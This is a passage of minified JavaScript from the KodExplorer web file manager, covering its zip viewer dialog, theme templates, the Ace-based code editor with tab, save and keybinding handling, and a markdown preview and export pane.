i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})
+},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/edit/edit",["./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist"],function(e){var t={},i=void 0,a=e("./preview");e("lib/ace/src-min-noconflict/ext-modelist"),aceModeList=ace.require("ace/ext/modelist"),e.async("lib/ace/src-min-noconflict/ext-language_tools",function(){ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager})}),e.async("lib/ace/emmet.min.js",function(){e.async("lib/ace/src-min-noconflict/ext-emmet",function(){ace.require("ace/ext/emmet")})});var n=ace.require("ace/lib/net");n.loadScript.hook("loadScript",n,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments});var o=ace.require("ace/mouse/default_handlers").DefaultHandlers;o.prototype.onMouseDown.hook("onMouseDown",o.prototype,function(){arguments[0].preventDefault=function(){return!0}});var s=ace.require("ace/virtual_renderer").VirtualRenderer;s.prototype.showComposition.hook("showComposition",s.prototype,function(){return this.session.selection.rangeCount>1?"hookReturn":void 0});var r=ace.require("ace/editor").Editor;r.prototype.$checkMultiselectChange.hook("$checkMultiselectChange",r.prototype,function(){return"hookReturn"});var l,c=function(e,i){if(void 0==i||void 0==e||1>t.length)return"";for(var a in t)try{if(t[a].kod[e]==i)return t[a].kod.uuid}catch(n){}return""},d=function(){var e={font_size:"15px",theme:"tomorrow",show_gutter:1,auto_wrap:1,auto_complete:1,function_list:1,tab_size:4,soft_tab:1,display_char:0,font_family:"Menlo",keyboard_type:"ace"};for(var t in e)G.code_config[t]===void 0&&(G.code_config[t]=e[t]);auto_function_list=parseInt(G.code_config.function_list),Toolbar.toolbarSelected(),k(),$("body").mouseup(function(e){var t=["markdown_menu_box","markdown_setting","markdown_help"];$.each(t,function(t,i){$(e.target).hasClass(i)||0!=$(e.target).parents("."+i).length||$("."+i).addClass("hidden")})}),Mousetrap.bind(["ctrl+f","command+f"],function(e,t){switch(stopPP(e),t){case"ctrl+f":case"command+f":break;default:}})},p=function(e){var t=core.pathExt(e),i=aceModeList.getModeForPath(e).name;if("text"==i)for(var a in core.fileOpenMode)if(-1!=$.inArray(t,core.fileOpenMode[a])){i=a;break}return i},u=function(e){var i,a="id_"+UUID();if(void 0==e||""==e||"undefined"==e)return i={uuid:a,name:"newfile.txt",charset:"utf-8",filename:"",mode:p("test.txt"),the_url:""},f(i),m(i),$(".edit_body .this").removeClass("this"),$(".edit_body pre#"+a).parent().addClass("this"),$(".tab_"+i.uuid).removeClass("loading"),w(),_(),Toolbar.toolbarSelected(),void 0;var n=e;"http"==e.substr(0,4)&&(n=urlDecode($.getUrlParam("name",e))),i={charset:"utf-8",uuid:a,name:core.pathThis(n),filename:n,mode:p(n),the_url:""},"http"==e.substr(0,4)&&(i.filename=""),f(i),t[i.uuid]={kod:{filename:i.filename}},core.fileGet(e,function(e,n,o){if(i.the_url=o,$(".tab_"+i.uuid).removeClass("loading"),!n||!n.code)return j(i.uuid),Tips.tips(n);if(0==$("#"+i.uuid).length)return j(i.uuid),void 0;var s=n.data;1==s.base64&&(s.content=base64Decode(s.content));var r="";if("php"==s.ext&&0==s.content.indexOf(r)){var l=s.content.substr(r.length);s.content=r+js_beautify(l),i.mode=p("test.json")}"oexe"==s.ext&&(s.content=js_beautify(s.content)),t[a]=void 0,$("#"+a).text(s.content),m(i);var c=t[a];c.kod.charset=s.charset,c.kod.base64=s.base64,c.navigateTo(0),c.moveCursorTo(0,0),I(),w(),_(),Toolbar.toolbarSelected()},function(){j(i.uuid)})},f=function(t){var i=core.iconSmall(core.pathExt(t.name)),a='";$(a).insertBefore(".edit_tab .add");var n=e("./tpl/edit_tab_content.html"),o=template.compile(n),s=o({LNG:LNG,uuid:t.uuid});if($(".edit_body .tabs").append(s),b(t.uuid),Tap.resetWidth("add"),k(),"markdown"==t.mode&&$.getUrlParam("sid")){var r=$("#"+t.uuid).parent(".edit_content");r.addClass("markdown_full_page")}},h=function(e){clearTimeout(l),l=!1,l=setTimeout(function(){try{e.kod.preview.editChange()}catch(t){}},300)},m=function(e){var i=ace.edit(e.uuid);i.setTheme("ace/theme/"+G.code_config.theme),void 0!=e.mode&&i.getSession().setMode("ace/mode/"+e.mode),i.getSession().setTabSize(parseInt(G.code_config.tab_size)),i.getSession().setUseSoftTabs(parseInt(G.code_config.soft_tab)),i.getSession().setUseWrapMode(parseInt(G.code_config.auto_wrap)),i.renderer.setShowGutter(parseInt(G.code_config.show_gutter)),i.renderer.setScrollMargin(0,100,0,0),"ace"==G.code_config.keyboard_type?i.setKeyboardHandler():i.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type),i.setShowPrintMargin(!1),i.setPrintMarginColumn(120),i.$blockScrolling=1/0,i.setDragDelay(20),i.setShowInvisibles(parseInt(G.code_config.display_char)),i.setFontSize(G.code_config.font_size),i.setAnimatedScroll(!0),i.setOptions({newLineMode:"windows",enableEmmet:!0,enableSnippets:!0,enableBasicAutocompletion:!0,enableLiveAutocompletion:!0}),i.on("change",function(){N(i,!0),h(i)}),i.on("changeSelection",function(){M()}),i.commands.addCommand({name:"editSave",bindKey:{win:"Ctrl-S",mac:"Command-S",sender:"editor|cli"},exec:function(e){L(e.kod.uuid)}}),i.commands.addCommand({name:"editFunction",bindKey:{win:"Ctrl-Shift-E",mac:"Command-Shift-E",sender:"editor|cli"},exec:function(){Toolbar.doAction("function_list")}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-Shift-S",mac:"Command-Shift-S"},exec:function(){Toolbar.doAction("preview")}}),i.commands.addCommand({name:"showKeyboardShortcuts",bindKey:{win:"Ctrl-Alt-h",mac:"Command-Alt-h"},exec:function(e){ace.config.loadModule("ace/ext/keybinding_menu",function(t){t.init(e),e.showKeyboardShortcuts()})}}),i.commands.addCommand({name:"convertIndent",exec:function(e,t){ace.config.loadModule("ace/ext/whitespace",function(i){var a={reset_size:G.code_config.soft_tab?" ":" ",to_space:" ",to_tabs:" "},n=a[t];e.session.setTabSize(G.code_config.tab_size),e.session.setUseSoftTabs(G.code_config.soft_tab),i.detectIndentation(e.session),i.convertIndentation(e.session,n,G.code_config.tab_size),i.trimTrailingSpace(e.session,n)})}}),i.commands.addCommand({name:"phpBeautify",bindKey:{win:"Ctrl-Shift-B",mac:"Command-Shift-B"},exec:function(e){return"ace/mode/php"!=e.session.$modeId?(Tips.tips("Only for php mode!","warning"),void 0):(ace.config.loadModule("ace/ext/beautify",function(t){t.beautify(e.session)}),void 0)}}),i.commands.addCommand({name:"find",bindKey:{win:"Ctrl-F",mac:"Command-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e)})}}),i.commands.addCommand({name:"replace",bindKey:{win:"Ctrl-H",mac:"Command-Option-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e,!0)})}}),i.commands.addCommand({name:"closeSearchBar",bindKey:"Esc",exec:function(){Editor.searchBox&&Editor.searchBox.hide()}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-command-G",mac:"Ctrl-command-G"},exec:function(e){e.findAll(e.session.getTextRange()),M()}}),i.commands.addCommand({name:"refresh",bindKey:{win:"F5",mac:"F5"},exec:function(){Toolbar.doAction("refresh")}}),e.mode||(e.mode=""),i.kod={mode:e.mode,uuid:e.uuid,name:e.name,base64:!1,charset:"utf-8",the_url:e.the_url,filename:e.filename},i.hasChanged=!1,t[e.uuid]=i,i.kod.preview=new a(i),g()},_=function(){var e=O();if(e){e.focus(),e.resize();try{var t=window.parent.$.dialog.list.openEditor,i=Editor.current().kod.filename;i||(i=Editor.current().kod.name);var a=' '+htmlEncode(i);if(t){t.title(a);var n="./index.php?editor/edit";G.sid!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid),n=n+"#filename="+urlEncode(i),window.parent.$(".openEditor .aui_content iframe").attr("src",n)}}catch(o){}}},v=function(e,t){try{Editor.current().completer.popup.hide()}catch(a){}$(".edit_tab .this").removeClass("this"),$(".edit_tab .tab_"+e).addClass("this"),i=e,t&&$(".edit_tab .this").stop(!0,!0).animate({opacity:.5},50).animate({opacity:.8},50).animate({opacity:.5},50).animate({opacity:1},50,function(){}),_(),M(),E(),w(),Toolbar.toolbarSelected(),g()},g=function(){var e=O();e&&void 0!==e.kod&&Editor.searchBox&&Editor.searchBox.isShow()&&(Editor.searchBox.setEditor(Editor,Editor.current()),Editor.searchBox.find(!1,!1,!0))},b=function(e,t){void 0!=e&&""!=e&&($(".edit_body .this").removeClass("this"),$(".edit_body #"+e).parent().addClass("this"),v(e,t),P(function(t){t.ui.tree.setSelect($(".tab_"+e).attr("title"))}))},y=function(e,a,n){var o=t;$.extend(!0,{},G.code_config),void 0!=n&&(o={},o[n]?o[n]=t[n]:o[i]=t[i]);var s=function(e){var t=Number(!Number(e));return isNaN(t)?0:t};a!==void 0?G.code_config[e]=a:(G.code_config[e]=s(G.code_config[e]),a=G.code_config[e]),Toolbar.toolbarSelected();for(var r in o){var l=o[r];if(l&&l.kod&&l.resize)switch(-1!=$.inArray(e,["font_size","auto_wrap","font_family"])&&h(l),e){case"theme":l.setTheme("ace/theme/"+a);break;case"tab_size":l.getSession().setTabSize(parseInt(a));break;case"show_gutter":l.renderer.setShowGutter(parseInt(a));break;case"soft_tab":l.getSession().setUseSoftTabs(parseInt(a));break;case"font_size":l.setFontSize(parseInt(a));break;case"auto_wrap":l.getSession().setUseWrapMode(parseInt(a));break;case"display_char":l.setShowInvisibles(parseInt(a));break;case"font_family":k();break;case"keyboard_type":"ace"==G.code_config.keyboard_type?l.setKeyboardHandler():l.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type);break;case"function_list":break;case"auto_complete":l.setOptions({enableLiveAutocompletion:G.code_config[e]}),l.$enableBasicAutocompletion=G.code_config[e];break;default:}}$.ajax({url:"./index.php?editor/setConfig&k="+e+"&v="+G.code_config[e],dataType:"json",success:function(){}})},k=function(){var e=G.code_config.font_family;e="'"+e+"',Monaco,Menlo,Consolas,source-code-pro,'Liberation Mono','Ubuntu Mono',Courier,'Helvetica Neue','Microsoft Yahei','微软雅黑','Lantinghei SC',STXihei,WenQuanYi,sans-serif",$(".ace_editor_content").css("font-family",e)},x=function(e){var i=t;for(var a in i){var n=i[a];if(n&&n.kod&&n.resize)switch(e){case"resize":n.resize();break;case"setting":n.commands.exec("showSettingsMenu",n);break;default:}}"resize"==e&&w()},w=function(){var e=O();if(e){var t=$("#"+e.kod.uuid).parent().find(".edit_right_frame"),i=0;t.hasClass("hidden")||(i=100*(t.width()/$(window).width())),$(".edit_body .bottom_toolbar").css("right",i+"%")}},N=function(e,t){t!=e.hasChanged&&(e.hasChanged=t,$(".edit_tab .tabs .tab_"+e.kod.uuid).toggleClass("edit_changed"))},L=function(e,a){if(void 0!=i){void 0==e&&(e=i),void 0==a&&(a=!1);var n=t[e];if(n.hasChanged){if(void 0==n||""==n)return Tips.tips(LNG.data_error,"warning"),void 0;O().focus();var o=n.kod.filename;""==o?core.api.pathSelect({type:"file",title:LNG.newfile_save_as},function(e){z(n,e,a)}):z(n,o,a)}}},C=function(){for(var e in t)""!=t[e].kod.filename&&L(e)},z=function(e,t,i){if("view"===e.kod.tabType)return Tips.tips(LNG.error,"warning"),void 0;var a={path:t,charset:e.kod.charset,filestr:e.getValue()},n="./index.php?editor/fileSave";G.share_page!==void 0&&(n="./index.php?share/fileSave&user="+G.user+"&sid="+G.sid),e.kod.base64&&(a.base64="1",a.filestr=base64Encode(a.filestr)),a.filestr=urlEncode(a.filestr),""==e.kod.filename&&(a.create_file=1),Tips.loading(LNG.getting,!0),$(".tab_"+e.kod.uuid).addClass("loading"),$.ajax({type:"POST",dataType:"json",url:n,data:a,error:core.ajaxError,success:function(a){return $(".tab_"+e.kod.uuid).removeClass("loading"),a.code?(Tips.close(LNG.success,!0),""==e.kod.filename&&(e.kod.filename=t,T(e)),N(e,!1),_(),i&&j(e.kod.uuid),void 0):(Tips.close(a,!1),void 0)}})},T=function(e){var t=e.kod.filename;e.kod.name=core.pathThis(t),e.kod.mode=p(t),e.kod.the_url="./index.php?editor/fileGet&filename="+t;var i=$(".tab_"+e.kod.uuid);i.attr("title",t),i.find(".name").html(e.kod.name)},S=function(e){if(void 0==e&&(e=i),void 0==t[e])return j(e),void 0;var a=t[e];a.hasChanged?$.dialog({title:LNG.warning,resize:!1,background:"#fff",opacity:.4,lock:!0,icon:"question",content:a.kod.name+" "+LNG.if_save_file,padding:40,button:[{name:LNG.button_save,focus:!0,callback:function(){L(e,!0)}},{name:LNG.button_not_save,callback:function(){j(e)}}]}):j(e)},j=function(e){delete t[e];var i="",a=$(".edit_tab .tab"),n=$(".edit_tab .tab_"+e),o=$(".edit_body pre#"+e).parent();n.removeClass("edit_tab_menu"),n.hasClass("this")?($(a[0]).attr("uuid")==e?i=$(a[1]).attr("uuid"):a.each(function(){var t=$(this).attr("uuid");return t==e?!1:(i=t,void 0)}),""!=i&&$(".edit_body pre#"+i).addClass("this"),o.remove(),Tap.resetWidth("remove",n,i)):(o.remove(),Tap.resetWidth("remove",n)),E()},E=function(){0==$(".edit_body .tabs .edit_content").length?(O()&&O().kod.preview.close(),$(".disable_mask,.introduction").removeClass("hidden"),$(".bottom_toolbar").addClass("hidden"),$(".edit_body .tabs").addClass("hidden")):($(".disable_mask,.introduction").addClass("hidden"),$(".bottom_toolbar").removeClass("hidden"),$(".edit_body .tabs").removeClass("hidden")),P(function(e){var t=[];$(".edit_tab .tabs .edit_tab_menu").each(function(){var e=$(this).attr("title");e&&t.push(e)}),e.ui.fileHistory(t)})},P=function(e){ShareData.frameTop("",function(t){t.Config&&"editor"==t.Config.pageApp&&0!=t.$("#page_editor").length&&"function"==typeof e&&e(t)})},D=function(){for(var e in t)try{if(t[e].hasChanged)return!0}catch(i){}return!1},F=function(e){core.setSkin(e)},O=function(){return i&&t[i]&&t[i].focus?t[i]:!1},A=function(e){var i=O();e&&(i=t[e]);var a=i.kod.the_url,e=i.kod.uuid;return""==a?(Tips.tips(LNG.not_exists,"warning"),void 0):($(".tab_"+e).addClass("loading"),Tips.loading(LNG.loading),core.fileGet(a,function(t,a){Tips.close(),$(".tab_"+e).removeClass("loading");var n=a.data;1==n.base64&&(n.content=base64Decode(n.content));var o="";if(null==n.content&&(n.content=""),"php"==n.ext&&0==n.content.indexOf(o)){var s=n.content.substr(o.length);n.content=o+js_beautify(s)}"oexe"==n.ext&&(n.content=js_beautify(n.content)),i.kod.charset=n.charset,i.kod.base64=n.base64,i.getSession().setValue(n.content);var r=i.getFirstVisibleRow();i.scrollToLine(r),N(i,!1)},function(){$(".tab_"+e).removeClass("loading")}),void 0)},I=function(){ShareData.data("FILE_SEARCH_AT")&&setTimeout(function(){for(var e=ShareData.data("FILE_SEARCH_AT"),t=O(),i={row:e.line-1,column:0};e.lineIndex-->=0;){t.selection.moveTo(i.row,i.column);var a=-1==e.lineIndex?!0:!1,n=t.find(e.search,{},a);i=n.end}t.session.highlight(t.$search.$options.re),t.renderer.updateBackMarkers(),ShareData.remove("FILE_SEARCH_AT")},100)},R=function(e){e||(e=G.code_config.theme);var t=["ambiance","idle_fingers","monokai","pastel_on_dark","twilight","solarized_dark","tomorrow_night_blue","tomorrow_night_eighties"];return inArray(t,e)?!0:!1},M=function(){var e=Editor.current();if(e){var t=e.selection.getCursor(),i=t.row+1+":"+(t.column+1);e.selection.rangeCount>1&&(i+=" ["+e.selection.rangeCount+"]");for(var a=e.selection.getAllRanges(),n=0,o=0,s=0;a.length>s;s++){var r={start:a[s].start,end:a[s].end},l=e.selection.doc.getTextRange(r);n+=l.length,o+=r.end.row-r.start.row+1}n>0&&(i+=" ("+n+" ~ "+o+")"),$(".editor_position").html(i)}};return{init:d,current:O,getParentEditor:P,hasFileSave:D,saveConfig:y,doAction:x,setTheme:F,isBlackTheme:R,select:b,remove:S,save:L,saveall:C,refresh:A,getFileMode:p,aceModeList:aceModeList,add:function(e){e=urlDecode(e);var t=c("filename",e);""!=t?(b(t,!0),I()):u(e)}}}),define("app/src/edit/preview",["./preview_markdown","./function_list","./markdownTools"],function(e){return function(t){var i=$("#"+t.kod.uuid).parent(".edit_content"),a=i.find(".edit_right_frame"),n=$("#"+t.kod.uuid),o=i.find(".function_list_frame"),s=i.find(".preview_url_frame"),r=i.find(".preview_markdown_frame"),l=e("./preview_markdown"),c=e("./function_list"),d=e("./markdownTools"),p=new l(t),u=new c(t),f=10,h=function(){i.find(".preview_url_tool input").keyEnter(N);var e=i.find(".resize"),t=0;e.drag({start:function(){t=a.width(),e.addClass("resize_active"),$("body").css("cursor","col-resize"),a.append('
'),a.addClass("can_not_select")},move:function(i){var o=t-i,s=$(window).width();o>=s-f&&(o=s-f),f>=o&&(o=f),n.width(s-o),a.width(o),e.css("left",s-o+"px")},end:function(){e.removeClass("resize_active"),$("body").css("cursor","default"),a.find(".mask_view").remove(),a.removeClass("can_not_select"),m()}})},m=function(){if(0==$(".markdown_full_page").length){if(a.is(":visible")){var e=a.width(),t=$(window).width();e>=t-f&&(e=t-f),f>=e&&(e=f);var s=100*parseFloat(e/t);a.width(s+"%"),n.width(100-s+"%");var l=i.find(".resize");l.css("left",100-s+"%"),o.is(":visible")&&a.attr("data-size-width",e),r.is(":visible")&&p.refreshScroll()}Editor.doAction("resize")}},_=function(){i.find(".edit_right_frame .box a,.function_list_tool .box a,[markdown_action]").bind("click",function(t){var a=$(this).attr("class");switch($(this).attr("markdown_action")&&(a=$(this).attr("markdown_action")),a){case"tool_markdown_menu":if(i.find(".markdown_menu_box").toggleClass("hidden"),!i.find(".markdown_menu_box").hasClass("hidden")){var n=p.markdownMenu(i.find(".markdown_preview"));i.find(".markdown_menu_box .content").html(n)}break;case"tool_markdown_download_html":p.markdownDownload(i.find(".markdown_preview").html(),"html");break;case"tool_markdown_download_pdf":p.markdownDownload(i.find(".markdown_preview").html(),"pdf");break;case"tool_markdown_download_markdown":p.markdownDownload("","md");break;case"tool_markdown_full":i.toggleClass("markdown_full"),i.hasClass("markdown_full")&&(i.find(".ace_editor").css("width","50%"),i.find(".edit_right_frame").css("width","50%"),i.find(".resize").css("left","50%")),Editor.doAction("resize");break;case"tool_markdown_setting":i.find(".markdown_setting").toggleClass("hidden");break;case"tool_markdown_help":if(""==i.find(".markdown_help .content").html()){var n="";n="zh-CN"==G.lang||"zh-TW"==G.lang?e("./tpl/markdown_help_cn.html"):e("./tpl/markdown_help.html"),i.find(".markdown_help .content").html(n)}i.find(".markdown_help").toggleClass("hidden");break;case"tool_markdown_max":i.toggleClass("markdown_full_page"),i.hasClass("markdown_full_page")||m();break;case"tool_open_url":b();break;case"tool_refresh":N();break;case"tool_close":w();break;case"tool_markdown_help":break;default:}return stopPP(t),!1})},v=function(e){var l=0;if(a.removeClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").removeClass("hidden"),"function_list"==e)o.removeClass("hidden"),l=200,u.refresh(),a.find(".function_search input").focus();else if("markdown"==e)l=.51*$(window).width(),r.removeClass("hidden"),p.refresh(),d.bindEvent(i,t);else if("html"==e){l=.5*$(window).width(),s.removeClass("hidden");var c=t.kod.filename;c=core.path2url(c),a.find(".preview_url_tool input").val(c),a.find("iframe").attr("src",c)}a.css({width:l}),n.css({width:$(window).width()-l}),m()},g=function(){o.hasClass("hidden")?r.hasClass("hidden")||p.refresh():u.refresh()},b=function(e){if(r.hasClass("hidden"))window.open(i.find(".preview_url_frame input").attr("value"));else{var t=p.markdown2html(i.find(".markdown_preview").html()),a=window.open("","_blank","");a.document.open("text/html","replace"),a.opener=null,a.document.write(t),a.document.close()}stopPP(e)},y=function(){return u.support(t.kod.mode)?(o.hasClass("hidden")?(auto_function_list=1,v("function_list")):(auto_function_list=0,w()),Editor.saveConfig("function_list",auto_function_list),void 0):(Tips.tips(LNG.not_support,"warning"),void 0)},k=function(){a.hasClass("hidden")?x()||v("html"):r.hasClass("hidden")&&v("html")},x=function(){return auto_function_list&&u.support(t.kod.mode)?(v("function_list"),!0):"markdown"==t.kod.mode?(v("markdown"),!0):!1},w=function(){(s.hasClass("hidden")||!x())&&(a.addClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").addClass("hidden"),$(".markdown_full_page").removeClass("markdown_full_page"),n.css("width","100%"),Editor.doAction("resize"))},N=function(){var e=i.find(".preview_url_tool input"),t=e.attr("value");i.find(".open_ie").attr("href",t),i.find("iframe").attr("src",t)},L=function(){h(),_(),x();var e,n=function(){clearTimeout(e),e=!1,e=setTimeout(function(){o.is(":visible")&&(a.width(a.attr("data-size-width")),m())},10)};$(window).bind("resize",n),d.bindEvent(i,t)};return L(),{open:v,editChange:g,close:w,resize:m,openFunctionList:y,previewForce:k}}}),define("app/src/edit/preview_markdown",[],function(e){var t=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+=''+$(this).text()+" "}),t=""},i=function(e){e.find("a").attr("target","_blank");var i="[TOC]
";if(-1!=e.html().indexOf(i)){var a=t(e),n=e.html();n=n.replace(i,a),e.html(n)}},a=function(){$(".edit_right_frame .markdown_menu a").die("click").live("click",function(e){stopPP(e);var t=$(this).parents(".right_main"),i=t.find("[data-link='"+$(this).attr("href")+"']");if(0!=i.length){var a=i.offset().top+t.scrollTop()-t.offset().top+"px";t.stop(!0).animate({scrollTop:a},100,"linear")}})},n=function(t,i){e.async("lib/markdown/highlight.min",function(){t.find("pre code").each(function(e,t){hljs.highlightBlock(t),"function"==typeof i&&i()})})},o=function(t,i){e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(t[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),t.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e=''+e+"
",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof i&&i()})},s=function(){var e="newfile",t=Editor.current().kod.filename;return""!=t&&(t=core.pathThis(t),e=t.substr(0,t.indexOf("."))),e},r=function(t){var i=e("./tpl/markdown_preview.html"),a=template.compile(i),n=a({addStyle:G.app_host+"static/js/lib/markdown/katex/katex.min.css",content:t,title:s(),black_theme:Editor.isBlackTheme()});return n=n.replace(/ data-link="#(.*?)">/g,'> ')},l=function(e,t){var i=s()+"."+t;switch(t){case"html":$.htmlDownload(r(e),i);break;case"md":var a=Editor.current(),n=a.getValue();$.htmlDownload(n,i);break;case"pdf":$.htmlPrint(r(e));break;default:}};return function(){var s,c,d,p,u=!1,f=!1,h=function(){if(s=Editor.current(),s&&void 0!==s.focus){var e=s.kod.uuid;c=$("#"+e).parent().find(".markdown_preview"),d=$("#"+e).parent().find(".edit_right_frame .right_main"),v(),_(),a()}},m=function(t){e.async("lib/markdown/markdown-it.min",function(){if(c&&0!=c.length){var e=window.markdownit({html:!0,breaks:!0}),a=s.getValue(),r=e.render(a),l=$(".markdown_make_buffer");0==l.length&&($("
").appendTo("body"),l=$(".markdown_make_buffer")),l.html(r),i(l),n(l,function(){c.html(l.html())}),(0==c.html().length||t===!0)&&c.html(l.html()),c.html(l.html()),o(l,function(){c.html(l.html()),l.remove(),x()})}})},_=function(){var e,t=function(){return!d.find(".preview_markdown_frame").hasClass("hidden")};s.session.on("changeScrollTop",function(){!f&&t()&&(u=!0,w(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3))}),s.on("change",function(){!f&&t()&&(u=!0,x(function(){w(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3)}))})},v=function(){return},g=[],b=[],y=function(){if(void 0!==s.kod.mode&&"markdown"==s.kod.mode){g=[];for(var e="\n...\n"+s.getValue(),t=0,i=window.markdownit(),a=i.parse(e,{references:{}}),n=["h1","h2","h3","h4","h5","h6"],o=0;a.length>o;o++)if($.inArray(a[o].tag,n)>=0&&"heading_open"==a[o].type){var r=s.session.documentToScreenPosition(a[o].map[0]-1,2),l=r.row*s.renderer.lineHeight;g.push({start:t,end:l,height:l-t}),t=l}}},k=function(){if(d&&0!=d.length){b=[];var e=0,t=d.scrollTop();c.find("h1,h2,h3,h4,h5,h6").each(function(){var i=$(this).position().top+t+parseInt($(this).css("margin-top"));b.push({start:e,end:i,height:i-e}),e=i})}},x=function(e){clearTimeout(p),p=!1,p=setTimeout(function(){y(),k(),"function"==typeof e&&e()},200)},w=function(e){var t=s.session.getScrollTop(),i=d.scrollTop(),a=function(e,t,i,a){for(var n,o=-1,s=0;e.length>s&&(o=s,n=e[s],!(e[s].end>t));s++);if(!(-1===o||o>=i.length)){var r=(t-n.start)/n.height,l=i[o],c=l.start+l.height*r;o==e.length-1&&t>=n.end-5&&(c=l.end),a(c)}};e?a(g,t,b,function(e){d.stop(!0).animate({scrollTop:e},100,"linear")}):i+d.height()>=d.prop("scrollHeight")-5?s.gotoLine(s.session.getLength()):a(b,i,g,function(e){s.session.setScrollTop(e)})};return h(),{refresh:m,refreshScroll:x,markdownMenu:t,markdown2html:r,markdownDownload:l}}}),define("app/src/edit/tpl/markdown_preview.html",[],'\n \n \n {{title}} \n\n \n\n\nPrint \n\n{{#content}}\n\n\n\n'),define("app/src/edit/function_list",[],function(){var 